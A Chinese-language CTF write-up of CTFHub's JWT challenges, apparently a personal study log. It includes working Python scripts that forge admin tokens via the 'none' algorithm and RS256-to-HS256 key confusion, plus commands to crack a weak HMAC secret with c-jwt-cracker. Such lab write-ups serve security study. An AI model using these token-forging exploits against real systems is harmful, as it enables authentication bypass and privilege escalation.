ctfhub-jwt

基础知识

题目附件：jwt基础知识

flag在下面

需要了解一下jwt组成部分

敏感信息泄露

随便输个

进去查消息头

然后在

jwt.io

decode 一共两部分ag是另一半

无签名

import jwt
algorithm="none"
payload = {
  "username": "admin",
  "password": "admin",
  "role":"admin"
  }
key = ""
encoded = jwt.encode(payload,key,algorithm)
print(encoded)

jwt的签名可以为无

今天写这个脚本的时候命名为jwt.py

结果报错 但是系统环境运行正常

才知道是文件名的事

import jwt 他先自己引用自己了

抓包

把cookie里的token改为这脚本的运行结果

弱密钥

需要用到jwt-cracker

依次执行即可

git clone https://github.com/brendan-rius/c-jwt-cracker
./c-jwt-cracker
make
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6IjEiLCJyb2xlIjoiZ3Vlc3QifQ.w4i8KWRWmY_xTYtRnFZnp5vLIxPG2abCly6lW6QxTKs

然后得出该jwt密钥

然后放之前那个网站

改role为admin

返回提交token

修改签名算法

把cookie清空后提交用户名密码

得到一串jwt

丢进

发现是RS256编码（不对称式编码）

需要改为对称式编码

如HS256

题目中给了public key

用PUBLIC_KEY采用HS256进行加密payload构造token

借用大神h0ld1rs的脚本

无签名那段脚本

是勉勉强强写出来的

这题就先用大神的脚本吧

我太菜了

# coding=GBK
import hmac
import hashlib
import base64

file = open('publickey.pem')#需要将文中的publickey下载	与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)

运行后把token返回去验证

成功